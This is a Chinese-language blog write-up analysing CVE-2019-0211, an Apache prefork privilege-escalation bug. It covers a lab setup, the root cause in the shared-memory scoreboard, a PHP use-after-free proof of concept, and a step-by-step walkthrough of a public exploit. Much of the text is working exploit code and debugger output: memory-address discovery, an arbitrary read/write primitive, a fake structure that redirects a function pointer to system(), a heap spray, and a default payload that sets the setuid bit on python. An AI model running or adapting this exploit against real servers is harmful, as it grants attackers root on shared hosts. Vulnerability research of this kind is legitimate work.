vlambda博客
学习文章列表

Apache 'logrotate' 本地提取漏洞分析(CVE-2019-0211)

1.复现环境搭建



安装虚拟机
系统镜像下载
 
   
   
 
QEMU安装# 创建虚拟机硬盘$ qemu-img create -f qcow2 ubuntu18.04.4.img 10G

# 安装虚拟机$ qemu-system-x86_64 -m 2048 -hda ubuntu18.04.4.img -cdrom ./ubuntu-18.04.4-desktop-amd64.iso

# 启动虚拟机$ qemu-system-x86_64 -m 2048 ubuntu18.04.4.i
安装apache
 
   
   
 
sudo apt -y install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4 apache2-dbg=2.4.29-1ubuntu4
安装php
 
   
   
 
sudo apt-get -y install software-properties-commonsudo add-apt-repository ppa:ondrej/phpsudo apt-get updatesudo apt-get -y install php7.1
配置apache
 
   
   
 
# Apache监听多个端口(非常重要)sudo sed -i 's,Listen 80,Listen 80nListen 8080,' /etc/apache2/ports.conf
启动apache
 
   
   
 
$ sudo apachectl restart$ ps -axu|grep apacheroot 27041 ... /usr/sbin/apache2 -k startwww-data 27042 ... /usr/sbin/apache2 -k startwww-data 27043 ... /usr/sbin/apache2 -k startwww-data 27044 ... /usr/sbin/apache2 -k startwww-data 27045 ... /usr/sbin/apache2 -k startwww-data 27046 ... /usr/sbin/apache2 -k start
 

2. 漏洞原理概述

  • Apache的主进程会以root权限运行,它会管理一个低权限的worker进程池,这些worker进程用于处理http请求。

  • server进程通过一个位于SHM( shared-memory area) 的scoreboard结构体获取worker进程相关信息。

  • 每个worker进程对这个SHM是可读可写的,它们在SHM中维护一个process_score结构体。

  • process_score结构体包含一个bucket字段,保存的是主进程all_buckets数组的索引值,all_buckets[index]对应的是一个prefork_child_bucket结构体。

  • 当Apache gracefully restart时,会kill掉所有的worker进程,替换成新的woker进程,这个过程会调用prefork_child_bucket->mutext->meth->child_init()函数

  • 由于没有做数组边界检查,恶意的worker进程可以设置任意的bucket值,让其指向一个我们控制的prefork_child_bucket结构体,进而修改prefork_child_bucket->mutex->meth->child_init函数指针,最终当Apache gracefully restart时,会执行修改过的child_init函数,进而可以实现权限提升。







上述提到的相关结构体和进程信息:
 
   
   
 
$ ps -aux|grep apache|grep -v greproot 780 ... /usr/sbin/apache2 -k startwww-data 19716 ... /usr/sbin/apache2 -k startwww-data 19717 ... /usr/sbin/apache2 -k start
 
   
   
 
root # cat /proc/780/maps | grep rw-s7ff6154be000-7ff615501000 rw-s 00000000 00:01 40010 /dev/zero (deleted)7ff615501000-7ff61557f000 rw-s 00000000 00:01 867451 /dev/zero (deleted)

// httpd/include/scoreboard.h typedef struct { global_score *global; process_score *parent; worker_score **servers;} scoreboard;
struct process_score { pid_t pid; ap_generation_t generation; char quiescing; char not_accepting; apr_uint32_t connections; apr_uint32_t write_completion; apr_uint32_t lingering_close; apr_uint32_t keep_alive; apr_uint32_t suspended; int bucket; }
// httpd/server/mpm/prefork/prefork.ctypedef struct prefork_child_bucket { ap_pod_t *pod; ap_listen_rec *listeners; apr_proc_mutex_t *mutex;} prefork_child_bucket;static prefork_child_bucket *all_buckets, /* All listeners buckets */ *my_bucket; /* Current child bucket */
 
   
   
 
// apr/include/arch/unix/apr_arch_proc_mutex.hstruct apr_proc_mutex_t { apr_pool_t *pool; const apr_proc_mutex_unix_lock_methods_t *meth;  int curr_locked; char *fname; ...}
struct apr_proc_mutex_unix_lock_methods_t { unsigned int flags; apr_status_t (*create)(apr_proc_mutex_t *, const char *); apr_status_t (*acquire)(apr_proc_mutex_t *); apr_status_t (*tryacquire)(apr_proc_mutex_t *); apr_status_t (*release)(apr_proc_mutex_t *); apr_status_t (*cleanup)(void *); apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t); apr_lockmech_e mech; const char *name;}
漏洞代码流程
 
   
   
 
// httpd-2.4.38/server/mpm/prefork/prefork.c
// 调用栈:// prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> child_init(&my_bucket->mutex, pool, fname);

typedef struct prefork_child_bucket { ap_pod_t *pod; ap_listen_rec *listeners; apr_proc_mutex_t *mutex;} prefork_child_bucket;

static prefork_child_bucket *all_buckets, /* All listeners buckets */ *my_bucket; /* Current child bucket */

static int prefork_run(apr_pool_t *_pconf, apr_pool_t *plog, server_rec *s){ ... apr_proc_t pid; ap_wait_or_timeout(&exitwhy, &status, &pid, pconf, ap_server_conf); ... child_slot = ap_find_child_by_pid(&pid); ... make_child(ap_server_conf, child_slot, ap_get_scoreboard_process(child_slot)->bucket); ...}

static int make_child(server_rec *s, int slot, int bucket){ ...
my_bucket = &all_buckets[bucket]; ... child_main(slot, bucket); ...}
static void child_main(int child_num_arg, int child_bucket){ ... status = SAFE_ACCEPT(apr_proc_mutex_child_init(&my_bucket->mutex, apr_proc_mutex_lockfile(my_bucket->mutex), pchild)); ...}
// apr/locks/unix/proc_mutex.c// https://github.com/apache/apr/blob/trunk/locks/unix/proc_mutex.c#L1560APR_DECLARE(apr_status_t) apr_proc_mutex_child_init(apr_proc_mutex_t **mutex, const char *fname, apr_pool_t *pool){ return (*mutex)->meth->child_init(mutex, pool, fname);}
 

3. PoC原理

这里只是简单说一下PHP UAF的PoC
 
   
   
 
$ cat uaf.php <?phpfunction o($msg){ print($msg); print("n");}

function ptr2str($ptr, $m=8){ $out = ""; for ($i=0; $i<$m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out;}

class Z implements JsonSerializable{ public function jsonSerialize(){ global $y, $addresses, $workers_pids;
$_protector = ptr2str(0, 78);
$this->abc = ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]);
unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->y = 0x00; # zend_string.len $x->d = 0x100; # zend_string.val[0-4] $x->h = 0x13121110;

# Verify UAF was successful # We modified stuff via $x; they should be visible by $this->abc, since # they are at the same memory location. if(!( strlen($this->abc) === $x->d && $this->abc[0] == "x10" && $this->abc[1] == "x11" && $this->abc[2] == "x12" && $this->abc[3] == "x13" )) { o('UAF failed, exiting.'); exit(); } o('UAF successful.'); o(''); }}

function test_uaf(){ global $y; $y = [new Z()]; json_encode([0 => &$y]);}
test_uaf();?>
$ php -vPHP 7.2.13 (cli) (built: Apr 28 2020 20:54:07) ( NTS )Copyright (c) 1997-2018 The PHP GroupZend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies$ php uaf.php UAF successful.
通过DateInterval对象$x操纵已经释放的zend_string对象$this->abc,然后通过$x控制$this->abc的长度(php内部结构体zend_string的len字段,在php代码中是不可修改的)。
需要注意一点:$this->abc是创建的当前对象的成员变量,内存空间会随着当前对象的释放一起释放,但是 $_protector 这样的函数局部变量不会。
DateInterval内部实现包含一个timelib_rel_time结构体,它的大小跟创建的zend_string属于同一个fastbin(0x70)
 
   
   
 
#include <stdio.h>typedef signed long long timelib_sll;
typedef struct _timelib_rel_time { timelib_sll y, m, d; /* Years, Months and Days */ timelib_sll h, i, s; /* Hours, mInutes and Seconds */ timelib_sll us; /* Microseconds */
int weekday; int weekday_behavior;

int first_last_day_of; int invert; timelib_sll days;
struct { unsigned int type; timelib_sll amount; } special;
unsigned int have_weekday_relative, have_special_relative;} timelib_rel_time;

int main(){ printf("%lun", sizeof(timelib_rel_time));}
$ ./a.out104
这部分内容由于没有弄好PHP内核调试环境,还有待补充和校验,欢迎大佬们给出些建议。
 

4. EXP原理

漏洞利用思路

通过worker进程在SHM中构造prefork_child_bucket结构体,使prefork_child_bucket.mutex->meth的child_init函数指针指向zend_object_std_dtor函数;
 
   
   
 

typedef struct prefork_child_bucket { ap_pod_t *pod; ap_listen_rec *listeners; apr_proc_mutex_t *mutex;} prefork_child_bucket;

struct apr_proc_mutex_t { apr_pool_t *pool; const apr_proc_mutex_unix_lock_methods_t *meth; ...}
struct apr_proc_mutex_unix_lock_methods_t { unsigned int flags; apr_status_t (*create)(apr_proc_mutex_t *, const char *); apr_status_t (*acquire)(apr_proc_mutex_t *); apr_status_t (*tryacquire)(apr_proc_mutex_t *); apr_status_t (*release)(apr_proc_mutex_t *); apr_status_t (*cleanup)(void *); apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <-- apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t); apr_lockmech_e mech; const char *name;}
将child_init的第一个参数(&my_bucket->mutex)修改为zend_object_std_dtor的参数( zend_object *object ),并借助zend_object_std_dtor执行system函数;
 
   
   
 

typedef struct _zend_object zend_object;

struct _zend_object { zend_refcounted_h gc; // 8字节 uint32_t handle; zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1];};

typedef struct _zend_array HashTable;

struct _zend_array { zend_refcounted_h gc; // 8字节 union { // 4字节 struct {... } v; uint32_t flags; } u; uint32_t nTableMask; Bucket *arData; uint32_t nNumUsed; uint32_t nNumOfElements; uint32_t nTableSize; uint32_t nInternalPointer; zend_long nNextFreeElement; dtor_func_t pDestructor;};

typedef struct _Bucket { zval val; zend_ulong h; /* hash value (or numeric index) */ zend_string *key; /* string key or NULL for numerics */} Bucket;
修改worker进程的process_score->bucket( => index) 使Apache主进程的 all_buckets[index] 指向我们构造的 prefork_child_bucket结构体;
进而将正常执行流程:
 
   
   
 
prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> child_init(&my_bucket->mutex, pool, fname);
替换为:
 
   
   
 
prefork_run -> make_child -> child_main -> apr_proc_mutex_child_init -> zend_object_std_dtor(&my_bucket->mutex) -> system("system cmd")
劫持后的代码流程:
 
   
   
 
ZEND_API void zend_object_std_dtor(zend_object *object){ ... zend_array_destroy(object->properties); ... }

ZEND_API void ZEND_FASTCALL zend_array_destroy(HashTable *ht){ ... zend_hash_destroy(ht); ...}

ZEND_API void ZEND_FASTCALL zend_hash_destroy(HashTable *ht){ Bucket *p, *end; ... p = ht->arData; ... ht->pDestructor(&p->val); ...}
ZEND_API void zend_object_std_dtor(zend_object *object) -> zend_array_destroy(object->properties); -> zend_hash_destroy(object->properties); -> system(&object->properties->arData->val)
(char *)&object->properties->arData->val 等同于 (char *)arData

具体实现

EXP源码

概述

  • get_all_addresses 函数获取漏洞利用需要的内存地址
  • get_workers_pids 函数获取当前系统的所以worker进程的pid
  • class Z实现了JsonSerializable接口的jsonSerialize函数
  • real函数通过创建class Z 对象$y并调用json_encode执行class Z的jsonSerialize函数
 
   
   
 
<?phpfunction real(){ global $y; $y = [new Z()]; json_encode([0 => &$y]);}

class Z implements JsonSerializable{ public function jsonSerialize(){ ... } ... }
function get_all_addresses(){ ... } function get_workers_pids(){ ... }

$addresses = get_all_addresses();$workers_pids = get_workers_pids();real();

工具函数说明

str2ptr
可以简单理解为读取一个指针$str偏移$p处的8个字节的ulong
 
   
   
 
<?phpfunction o($msg){ # No concatenation -> no string allocation print($msg); print("n");}

function str2ptr(&$str, $p, $s=8){ $address = 0; for($j=$s-1;$j>=0;$j--) { $address <<= 8; o('0x'.dechex(ord($str[$p+$j]))); $address |= ord($str[$p+$j]); } return $address;}

$abc = "12345678";$addr = str2ptr($abc, 0);o('0x'.dechex($addr));?>
/*0x380x370x360x350x340x330x320x310x3837363534333231

>>> ord('8')56>>> hex(56)'0x38'*/

<?php...$addr = str2ptr($abc, 2);o('0x'.dechex($addr));?>
/*0x00x00x380x370x360x350x340x330x383736353433
ptr2str
主要用于创建一个$m字节的zend_string(zend_string.len = $m)
 
   
   
 
<?phpfunction ptr2str($ptr, $m=8){ $out = ""; for ($i=0; $i<$m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out;}

$_protector = ptr2str(0, 78);print($_protector . " " . strlen($_protector) . "n");

echo ptr2str(0x616263);

?>
/* 78cba*/
find_symbol
根据动态库文件中库函数的偏移,计算当前进程内存空间中对应库函数的内存地址
get_all_addresses
获取了下面这些地址:
1.大小在0x10000 ~ 0x16000 之间的worker进程shm地址范围,保存到$addresses[‘shm’]
原理:
 
   
   
 
# cat /proc/44875/maps |grep '/dev/zero' 7fefaaed9000-7fefb2ed9000 rw-s 00000000 00:01 385061 /dev/zero (deleted)7fefc1116000-7fefc112a000 rw-s 00000000 00:01 235954 /dev/zero (deleted)
$addresses['shm'] -> [7fefc1116000, 7fefc112a000]
作用:
  • worker进程的process_score(ap_scoreboard_image.parent[i])存放的位置
  • 堆喷射的内存区域(SHM 的空闲区域)
2. libc-*.so 的加载地址,计算根据偏移system函数地址,保存到 $addresses['system']
原理:
同样通过/proc/pid/maps获取 libc-*.so 的绝对路径,然后从.so文件中定位system函数的偏移,进而计算它在内存中的地址
作用: 最后任意函数调用的目标函数
3.获取libapr-1.so的可执行区域和只读区域的内存加载地址范围,保存到 $addresses['libaprX'] $addresses['libaprR']
原理:同样,通过/proc/pid/maps匹配字符串获取
 
   
   
 
# cat /proc/44875/maps |grep libapr-1.so | grep r-xp7fefc096a000-7fefc099d000 r-xp 00000000 08:01 2113254 /usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3
# cat /proc/44875/maps |grep libapr-1.so | grep r--p7fefc0b9d000-7fefc0b9e000 r--p 00033000 08:01 2113254
/usr/lib/x86_64-linux-gnu/libapr-1.so.0.6.3

作用:用于定位all_buckets
4.获取Apache进程的内存区域 $addresses[‘apache’]
 
   
   
 
# cat /proc/44875/maps |grep rw-p |grep -v /lib# cat /proc/44875/maps |grep rwxp |grep -v /lib
作用:用于定位all_buckets
5.获取 libphp*.so 加载地址和路径,通过zend_object_std_dtor的偏移计算其加载地址,保存到$addresses[‘zend_object_std_dtor’]
作用:作为任意函数执行的跳板函数
完整的地址获取结果:
 
   
   
 
PID: 44874 
Fetching addresses zend_object_std_dtor: 0x7fefbd49c120 system: 0x7fefc03a9440 libaprX: 0x7fefc096a000-0x7fefc099d000 libaprR: 0x7fefc0b9d000-0x7fefc0b9e000 shm: 0x7fefc1116000-0x7fefc112a000 apache: 0x7fefc1168000-0x7fefc1263000
get_workers_pids
获取当前用户权限的所有worker的PID

核心函数说明

real通过class Z的jsonSerialize函数完成漏洞利用的核心逻辑
1.通过PHP UAF获取对worker进程内存的读写能力
 
   
   
 
class Z implements JsonSerializable{ public function jsonSerialize(){ global $y, $addresses, $workers_pids;
$contiguous = []; for($i=0;$i<10;$i++) $contiguous[] = new DateInterval('PT1S');
$room = []; for($i=0;$i<10;$i++) $room[] = new Z();
$_protector = ptr2str(0, 78);
$this->abc = ptr2str(0, 79);
$p = new DateInterval('PT1S');
unset($y[0]); unset($p);
$protector = ".$_protector";
$x = new DateInterval('PT1S');
$x->y = 0x00; # zend_string.len $x->d = 0x100; # zend_string.val[0-4] $x->h = 0x13121110;
if(!( strlen($this->abc) === $x->d && $this->abc[0] == "x10" && $this->abc[1] == "x11" && $this->abc[2] == "x12" && $this->abc[3] == "x13" )) { o('UAF failed, exiting.'); exit(); } o('UAF successful.'); o('');
unset($room);
$address = str2ptr($this->abc, 0x70 * 2 - 24); $address = $address - 0x70 * 3; $address = $address + 24;
$distance = max($addresses['apache'][1], $addresses['shm'][1]) - $address ; $x->d = $distance; ...}
unset释放内存之前的堆内存布局:
Apache 'logrotate' 本地提取漏洞分析(CVE-2019-0211)
这一步完成之后,后面就下面的方式访问任意内存了:
写入一个字节到$mem_addr:
 
   
   
 
$this->abc[$mem_addr - $address] = 'x';
从$mem_addr读取一个地址:
 
   
   
 
str2ptr($this->abc, $mem_addr - $address);
2.通过特征定位all_buckets结构体
原理:all_buckets是worker进程的静态变量,所以遍历worker进程内存区域的每个8字节地址,根据all_buckets的结构,匹配指针所在区域,来定位all_buckets结构体。具体做了哪些匹配见下面代码和注释。
 
   
   
 
class Z implements JsonSerializable{ public function jsonSerialize(){
... # mutex在all_buckets结构体中的偏移是0x10 # |all_buckets, mutex| = 0x10 # meth在mutex结构体中的偏移是0x08 # |mutex, meth| = 0x8
# all_buckets is in apache's memory region # mutex is in apache's memory region # meth is in libaprR's memory region # meth's function pointers are in libaprX's memory region
o('Looking for all_buckets in memory'); $all_buckets = 0;
for( $i = $addresses['apache'][0] + 0x10; $i < $addresses['apache'][1] - 0x08; $i += 8 ) { # mutex # 判断当前获取的地址,即all_buckets->mutex是否在apache内存区域 $mutex = $pointer = str2ptr($this->abc, $i - $address); if(!in($pointer, $addresses['apache'])) continue;
# meth # 判断all_buckets->mutex->meth是否在libaprR内存区域 $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address); if(!in($pointer, $addresses['libaprR'])) continue; ...
# meth->* # flags # 判断all_buckets->mutex->meth->flags是否为0 if(str2ptr($this->abc, $pointer - $address) != 0) continue;
# methods # 判断all_buckets->mutex->meth->*的各个函数指针是否在libaprX区域 for($j=0;$j<7;$j++) { $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address); if(!in($m, $addresses['libaprX'])) continue 2; o(' [*]: 0x' . dechex($m)); }
# $i的地址是all_buckets->mutext的地址,所以all_buckets地址是$i-0x10 $all_buckets = $i - 0x10; o('all_buckets = 0x' . dechex($all_buckets)); break; } ...
}}
httpd-2.4.38/server/mpm/prefork/prefork.c
 
   
   
 
typedef struct prefork_child_bucket { ap_pod_t *pod; ap_listen_rec *listeners; apr_proc_mutex_t *mutex;} prefork_child_bucket;static prefork_child_bucket *all_buckets, /* All listeners buckets */ *my_bucket; /* Current child bucket */
apr/include/arch/unix/apr_arch_proc_mutex.h
 
   
   
 
struct apr_proc_mutex_t { apr_pool_t *pool; const apr_proc_mutex_unix_lock_methods_t *meth; ...}
struct apr_proc_mutex_unix_lock_methods_t { unsigned int flags; apr_status_t (*create)(apr_proc_mutex_t *, const char *); apr_status_t (*acquire)(apr_proc_mutex_t *); apr_status_t (*tryacquire)(apr_proc_mutex_t *); apr_status_t (*timedacquire)(apr_proc_mutex_t *, apr_interval_time_t); apr_status_t (*release)(apr_proc_mutex_t *); apr_status_t (*cleanup)(void *); apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t); apr_lockmech_e mech; const char *name;};
可以通过这个脚本来测试:
链接:
https://pan.baidu.com/s/1sr6k0S2X5XlFdPY7HOVRRw  密码:2e67
运行:
 
   
   
 
$ curl localhost/find_all_bkts.phpPID: 29123Fetching addresses zend_object_std_dtor: 0x7fe7f1cbafb0 system: 0x7fe7f4ba7440 libaprX: 0x7fe7f5168000-0x0x7fe7f519b000 libaprR: 0x7fe7f539b000-0x0x7fe7f539c000 shm: 0x7fe7f5939000-0x0x7fe7f594d000 apache: 0x7fe7f597e000-0x0x7fe7f5a61000

Triggering UAF Creating room and filling empty spaces Allocating $abc and $p Unsetting both variables and setting $protector Creating DateInterval objectUAF successful.

Address of $abc: 0x7fe7ed0904e8

Looking for all_buckets in memory [&mutex]: 0x7fe7f59fc1e0 [mutex]: 0x7fe7f59fc330 [meth]: 0x7fe7f539bb60 [*]: 0x7fe7f51830d0 [*]: 0x7fe7f5183070 [*]: 0x7fe7f5183010 [*]: 0x7fe7f5182fb0 [*]: 0x7fe7f5182b30 [*]: 0x7fe7f5182810 [*]: 0x7fe7f5182f40all_buckets = 0x7fe7f59fc1d0
root# gdb attach 29123gdb-peda$ p all_buckets $1 = (prefork_child_bucket *) 0x7fe7f59fc1d0



3.构造和部署payload



先看看payload部署后的效果
 
   
   
 
$ curl localhost/carpediem.php...PID: 29260...Placing payload at address 0x7fe7f593c908...Spraying pointer Address: 0x7fe7f593c9d8 From: 0x7fe7f593ca10 To: 0x7fe7f594d000 Size: 0x105f0 Covered: 0x105f0 Apache: 0xe3000...
 
   
   
 
root# gdb attach 29260
# zend_object.properties->arData# | zend_object.properties, arData | = 0x10$ x /19xg 0x7fe7f593c908 0x7fe7f593c908: 0x732b20646f6d6863 0x69622f7273752f200x7fe7f593c918: 0x6e6f687479702f6e 0x0000000000362e330x7fe7f593c928: 0x0000000000000000 0x00000000000000000x7fe7f593c938: 0x0000000000000000 0x00000000000000000x7fe7f593c948: 0x0000000000000000 0x00000000000000000x7fe7f593c958: 0x0000000000000000 0x00000000000000000x7fe7f593c968: 0x0000000000000000 0x00000000000000000x7fe7f593c978: 0x0000000000000000 0x00000000000000000x7fe7f593c988: 0x0000000000000000 0x00000000000000000x7fe7f593c998: 0x0000000000000000$ x /1bs 0x7fe7f593c9080x7fe7f593c908: "chmod +s /usr/bin/python3.6"
 
   
   
 
# prefork_child_bucket.mutext->methgdb-peda$ x /7xg 0x7fe7f593c908+1520x7fe7f593c9a0: 0x0000000000000000 0x00000000000000000x7fe7f593c9b0: 0x0000000000000000 0x00000000000000000x7fe7f593c9c0: 0x0000000000000000 0x00000000000000000x7fe7f593c9d0: 0x00007fe7f1cbafb0gdb-peda$ p zend_object_std_dtor$1 = {<text variable, no debug info>} 0x7fe7f1cbafb0 <zend_object_std_dtor>
 
   
   
 
# zend_object.properties gdb-peda$ x /7xg (0x7fe7f593c908+152+8*7)0x7fe7f593c9d8: 0x0000000000000001 0x00007fe7f593c9a00x7fe7f593c9e8: 0x00007fe7f593c908 0x00000000000000010x7fe7f593c9f8: 0x0000000000000000 0x00000000000000000x7fe7f593ca08: 0x00007fe7f4ba7440gdb-peda$ p system$2 = {int (const char *)} 0x7fe7f4ba7440 <__libc_system>
 
   
   
 
# sprayed areagdb-peda$ x /10xg 0x7fe7f593ca100x7fe7f593ca10: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f593ca20: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f593ca30: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f593ca40: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f593ca50: 0x00007fe7f593c9d8 0x00007fe7f593c9d8gdb-peda$ x /10xg 0x7fe7f594d000-10*80x7fe7f594cfb0: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f594cfc0: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f594cfd0: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f594cfe0: 0x00007fe7f593c9d8 0x00007fe7f593c9d80x7fe7f594cff0: 0x00007fe7f593c9d8 0x00007fe7f593c9d8
payload构造代码
可以对照上一节的调试信息来看
 
   
   
 
# 一个全0的八字节占位符,用于占据结构体指针字段的位置 $z = ptr2str(0);
... # 构造payload的152字节,是具体要执行的命令 $bucket = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : "chmod +s /usr/bin/python3.5";... $bucket = str_pad($bucket, $size_worker_score - 112, "x00");
# 构造 apr_proc_mutex_unix_lock_methods_t # 即prefork_child_bucket.mutex->meth # 把meth->child_init函数修改为了zend_object_std_dtor
$meth = $z . $z . $z . $z . $z . $z . # child_init ptr2str($addresses['zend_object_std_dtor']) ;
# 这个是作者很巧妙的一个设计, # 由于可以喷射内存区域并不大,所以作者没有喷射完整的结构体, # 而是喷射了properties的地址, # 并让prefork_child_bucket.mutex # 指向的结构体(apr_proc_mutex_t) # 和zend_object.properties指向的结构体(HashTable) # 共享properties这块内存。 # 最后的效果见下文。 $properties = # refcount ptr2str(1) . # u-nTableMask meth ptr2str($payload_start + strlen($bucket)) . # Bucket arData ptr2str($payload_start) . # uint32_t nNumUsed; ptr2str(1, 4) . # uint32_t nNumOfElements; ptr2str(0, 4) . # uint32_t nTableSize ptr2str(0, 4) . # uint32_t nInternalPointer ptr2str(0, 4) . # zend_long nNextFreeElement $z . # dtor_func_t pDestructor ptr2str($addresses['system']) ;

$payload = $bucket . $meth . $properties ;
相关结构体和函数参考(可跳过):
 
   
   
 
php-7.2.13/Zend/zend_types.hzend_object
typedef struct _zend_object zend_object;
struct _zend_object { zend_refcounted_h gc; // 8字节 uint32_t handle; zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1];};
 
   
   
 
zend_object.properties
typedef struct _zend_array HashTable;
struct _zend_array { zend_refcounted_h gc; // 8字节 union { struct { ZEND_ENDIAN_LOHI_4( zend_uchar flags, zend_uchar nApplyCount, zend_uchar nIteratorsCount, zend_uchar consistency) } v; uint32_t flags; } u; uint32_t nTableMask; Bucket *arData; uint32_t nNumUsed; uint32_t nNumOfElements; uint32_t nTableSize; uint32_t nInternalPointer; zend_long nNextFreeElement; dtor_func_t pDestructor;};
typedef struct _Bucket { zval val; zend_ulong h; zend_string *key; } Bucket;
typedef struct _zval_struct zval;
struct _zval_struct { zend_value value; /* value */ union { struct { ZEND_ENDIAN_LOHI_4( zend_uchar type, /* active type */ zend_uchar type_flags, zend_uchar const_flags, zend_uchar reserved) /* call info for EX(This) */ } v; uint32_t type_info; } u1; union { uint32_t next; /* hash collision chain */ uint32_t cache_slot; /* literal cache slot */ uint32_t lineno; /* line number (for ast nodes) */ uint32_t num_args; /* arguments number for EX(This) */ uint32_t fe_pos; /* foreach position */ uint32_t fe_iter_idx; /* foreach iterator index */ uint32_t access_flags; /* class constant access flags */ uint32_t property_guard; /* single property guard */ uint32_t extra; /* not further specified */ } u2;};
 
   
   
 
prefork_child_bucket.mutex->meth
struct apr_proc_mutex_unix_lock_methods_t { unsigned int flags; apr_status_t (*create)(apr_proc_mutex_t *, const char *); apr_status_t (*acquire)(apr_proc_mutex_t *); apr_status_t (*tryacquire)(apr_proc_mutex_t *); apr_status_t (*timedacquire)(apr_proc_mutex_t *, apr_interval_time_t); apr_status_t (*release)(apr_proc_mutex_t *); apr_status_t (*cleanup)(void *); apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t); apr_lockmech_e mech; const char *name;}
struct apr_proc_mutex_t { apr_pool_t *pool; const apr_proc_mutex_unix_lock_methods_t *meth; <-- int curr_locked; char *fname; ...}
计算payload放置地址、堆喷射地址
大概意思就是算出SHM中可以利用的空闲内存区域,获取中间地址,然后计算中间地址和all_buckets起始地址的偏移,然后除以单个prefork_child_bucket结构体的大小24(all_buckets是prefork_child_bucket数组的首地址),得到要修改的index值(ap_scoreboard_image.parent[i]->bucket)
 
   
   
 
$size_prefork_child_bucket = 24;$size_worker_score = 264;$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);$spray_max = $addresses['shm'][1];$spray_min = $spray_max - $spray_size;

$spray_middle = (int) (($spray_min + $spray_max) / 2);$bucket_index_middle = (int) ( - ($all_buckets - $spray_middle) / $size_prefork_child_bucket);
$payload_start = $spray_min - $size_worker_score;
将payload写入worker进程SHM空闲区域
 
   
   
 
o('Placing payload at address 0x' . dechex($payload_start));

$p = $payload_start - $address;for( $i = 0; $i < strlen($payload); $i++){ $this->abc[$p+$i] = $payload[$i];}
堆喷射payload中properties的地址
 
   
   
 
for( $i = $spray_min; $i < $spray_max; $i++){ // $address是$this->abc在内存中的地址 $this->abc[$i - $address] = $s_properties_address[$i % 8];}o('');
修改每个worker进程的bucket(ap_scoreboard_image->parent[i]->bucket)
ap_scoreboard_image->parent数组位于SHM 0x20偏移处
 
   
   
 
$ sudo cat /proc/26053/maps|grep rw-s7f5dbef6a000-7f5dbef7e000 rw-s 00000000 00:01 220623 /dev/zero (deleted)
(gdb) p &ap_scoreboard_image->parent[0]$4 = (process_score *) 0x7f5dbef6a020(gdb) p ap_scoreboard_image->parent[0]$3 = {pid = 26053, generation = 0, quiescing = 0 '00', not_accepting = 0 '00', connections = 0, write_completion = 0, lingering_close = 0, keep_alive = 0, suspended = 0, bucket = -27764}
 
   
   
 
# Iterate over every process_score structure until we find every PID or# we reach the end of the SHMfor( $p = $addresses['shm'][0] + 0x20; $p < $addresses['shm'][1] && count($workers_pids) > 0; $p += 0x24){ $l = $p - $address; $current_pid = str2ptr($this->abc, $l, 4); o('Got PID: ' . $current_pid); # The PID matches one of the workers if(in_array($current_pid, $workers_pids)) { unset($workers_pids[$current_pid]); o(' PID matches'); # Update bucket address $s_bucket_index = pack('l', $bucket_index); $this->abc[$l + 0x20] = $s_bucket_index[0]; $this->abc[$l + 0x21] = $s_bucket_index[1]; $this->abc[$l + 0x22] = $s_bucket_index[2]; $this->abc[$l + 0x23] = $s_bucket_index[3]; o(' Changed bucket value to ' . $bucket_index); $min = $spray_min - $size_prefork_child_bucket * $bucket_index; $max = $spray_max - $size_prefork_child_bucket * $bucket_index; o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max)); # This bucket range is covered, go to the next one $bucket_index += $spray_nb_buckets; }}



4.等待Apache graceful restart



效果演示:
 
   
   
 
root# ps -aux|grep apacheroot 30073 ... /usr/sbin/apache2 -k startwww-data 30074 ... /usr/sbin/apache2 -k start

$ curl localhost/carpediem.phpCARPE (DIEM) ~ CVE-2019-0211

PID: 30074Fetching addresses zend_object_std_dtor: 0x7f2843e64fb0 system: 0x7f2846d51440 libaprX: 0x7f2847312000-0x0x7f2847345000 libaprR: 0x7f2847545000-0x0x7f2847546000 shm: 0x7f2847ae3000-0x0x7f2847af7000 apache: 0x7f2847af7000-0x0x7f2847c0b000

Obtaining apache workers PIDs Found apache worker: 30074Got 1 PIDs.

Triggering UAF Creating room and filling empty spaces Allocating $abc and $p Unsetting both variables and setting $protector Creating DateInterval objectUAF successful.

Address of $abc: 0x7f283f29a4e8

